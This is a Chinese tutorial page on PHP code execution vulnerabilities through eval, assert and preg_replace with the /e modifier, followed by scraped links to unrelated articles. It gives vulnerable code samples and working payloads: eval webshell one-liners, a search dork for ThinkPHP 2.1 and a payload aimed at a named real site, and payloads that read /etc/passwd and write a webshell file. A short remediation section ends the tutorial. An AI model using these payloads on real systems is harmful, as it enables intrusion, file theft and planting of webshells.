内容
1、代码执行漏洞的概述
2、代码执行漏洞的危害
3、代码执行漏洞的利用
4、代码执行漏洞的防御

背景介绍
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

例子
PHP CMS中 settings的内容:

array('upload_maxsize' => '2048','upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf','watermark_enable' => '1','watermark_minwidth' => '300','watermark_minheight' => '300','watermark_img' => '/statics/images/water/mark.png','watermark_pct' => '85','watermark_quality' => '80','watermark_pos' => '9' ,
)

PHP CMS中 很常用的string2array函数:

function string2array($data){if($data == ''){return array();}eval("\$array = $data;")return $array;
}

PHP CMS中 很常用的string2array函数:

<?php
$data = "array('a'=>'aaaa','b'=>'222222','c'=>'',111=>phpinfo(),222=>'22')";
eval("\$arr = $data;");
?>

其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。

漏洞危害

  • 执行任意代码
  • 向网站写WebShell
  • 控制整个网站甚至服务器

相关函数

  • eval()
  • assert()
  • preg_replace() + /e 模式
  • create_function()
  • array_map()
  • call_user_func()/call_user_func_array()
  • array_filter()
  • usort(),uasort()
  • file_put_contents()
  • fputs()
  • $_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()

think2.1
//

  $string = 'google 123, 456';$pattern = '/(\w+) (\d+), (\d+)/i';$replacement = 'runoob ${2},\\3';echo preg_replace($pattern, $replacement, $string);   输出: runoob 123,456

intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
${@print(eval($_POST[1]))}
{${@eval($_POST[1])}}

http://www.ksftea.com/index.php/module/action/param1/${@print(eval($_POST[1]))}

eval()函数漏洞利用_1

<?php $data = $_GET['data'];eval("\$ret = $data;");echo $ret;
?>
  • /?data=phpinfo()
  • /?data=1;phpinfo()
  • /?data=${phpinfo()}

eval()函数漏洞利用_2

<?php//关闭魔术方法$data=$_GET[‘data’];eval(“\$ret = strtolower(‘$data’);”);echo $ret;
?>
  • /?data=1’);phpinfo();//

eval()函数漏洞利用_3

<?php$data=$_GET[‘data’];eval(“\$ret = strtolower(\”$data\”);”);echo $ret;
?>
  • /?data=${phpinfo()} (php版本5.5及以上)
  • /?data=“);phpinfo();//

preg_replace+/e利用

<?php$data=$_GET[‘data’];echo $data;preg_replace(‘/<data>(.*)<\/data>/e’,‘$ret=“\\1”;’, $data);echo $ret;
?>

php版本在5.5以上

  • /?data=${phpinfo()}
  • http://localhost/baji/vul/eval/e1.php?data=<data>${assert($_POST[1])}</data>

漏洞利用
{${@eval($_POST[1])}} 一句话
{${exit(print(getcwd()))}} 获取当前工作路径
{${exit(var_dump(file_get_contents($_POST[f])))}}
读文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
写webshell f=1.php&d=1111111

漏洞修复方案

  • 对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
  • 对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().
  • 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

相关参考链接
http://www.jb51.net/hack/43074.html
http://0day5.com/archives/3139
http://www.kubiji.cn/topic-id1105.html

Web安全之代码执行漏洞相关推荐

  1. goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 本文是关于GoAhead web server远程代码执行漏洞(CVE-2017- ...

  2. PHP代码执行漏洞总结大全

    目录 一. 漏洞产生的原因 二. 漏洞产生的常见函数 2.1 eval() (1) 直接利用漏洞源码: (2)闭合绕过 2.2 assert() 2.3 preg_replace()+/e 模式 2. ...

  3. 安全修复之Web——Spring Framework 远程代码执行漏洞

    安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...

  4. ImageMagick远程代码执行漏洞CVE-2016-8707 绿盟科技发布安全威胁通告

    在 ImageMagicks 的转换实用程序中, TIFF 图像压缩处理存在一个写边界的问题.攻击者利用一个精心编制的 TIFF 文件,可以导致的界限写,特别是可以利用的情况下进入远程执行代码.任何用 ...

  5. Source引擎的远程代码执行漏洞,可能影响千万游戏玩家

    本文讲的是Source引擎的远程代码执行漏洞,可能影响千万游戏玩家, 目前多款主流游戏,如CS.绝地要塞等都在使用Source引擎,Source引擎由Valve软件公司开发,这个引擎提供关于渲染.声效 ...

  6. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  7. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  8. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  9. cve-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析

    目录 0x00 前言 0x01 漏洞简介 0x02 环境搭建 0x03 漏洞利用 0x04 漏洞机理 1.POC验证 ​2.漏洞产生原理和攻击思路 3.payload构建 0x05 危害分析和处理建议 ...

最新文章

  1. ReSharper 配置及用法(转)
  2. 花两千元学python_花两万学的python,总结了一点初学者的小技巧,免费送给大家...
  3. boost::spirit模块实现复杂的日期解析器的测试程序
  4. linux callback函数,C++回调函数(callback)的使用
  5. MapReduce 中的两表 join 几种方案简介
  6. 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践
  7. 让sublime编译php、js
  8. Binder机制详解
  9. 《Openwrt开发》第四章:newifi3 实现内网穿透(n2n)
  10. Bandizip6.27百度网盘
  11. 讯捷CAD编辑器一秒解决CAD制图怎么画直线
  12. 魔百盒CM211-2 ZG(朝哥代工)无WIFI版线刷救砖包(当贝桌面)
  13. vt100 c语言控制,【转】C语言中控制printf的打印颜色实例及vt100的控制符文档
  14. linux 解压所有以zip结尾的文件_Linux下的压缩zip,解压缩unzip命令详解及实例
  15. 练习题:千克转换成磅
  16. xsser工具使用教程
  17. 2星|陈九霖《商业的逻辑》:曾经入狱的中航油(新加坡)掌门人的商业感想...
  18. 【巴比伦周报】2019第3周
  19. kubernetes 部署 ceph-rbd-csi
  20. 算法—递归生成斐波那契数列

热门文章

  1. 疫情启示录:控疫复工背后的数据中心价值,市场这样说
  2. vue在js上处理后台返回的数组_vuejs 根据后台返回数组,渲染图片路径
  3. 编程笔试(解析及代码实现):序列重排之给一个长度为n的序列A,求找出某种排列方式使得相邻两个数的差值之和最大并求出该最大值
  4. Python之pyecharts:利用pyecharts(十五种风格)绘制2018年~2020年中国互联网Top巨头近三年市值(美元)柱状图
  5. SLAM:SLAM相机简介、SLAM五步流程简介(VO+BEO+LCD+M)之详细攻略
  6. 成功解决ImportError: Matplotlib qt-based backends require an external PyQt4, PyQt5,问题
  7. DL:深度学习算法(神经网络模型集合)概览之《THE NEURAL NETWORK ZOO》的中文解释和感悟(二)
  8. 转载《全国研究生考试专业课资料大全(部分资料)》
  9. 在Python中使用XGBoost
  10. LeetCode Construct the Rectangle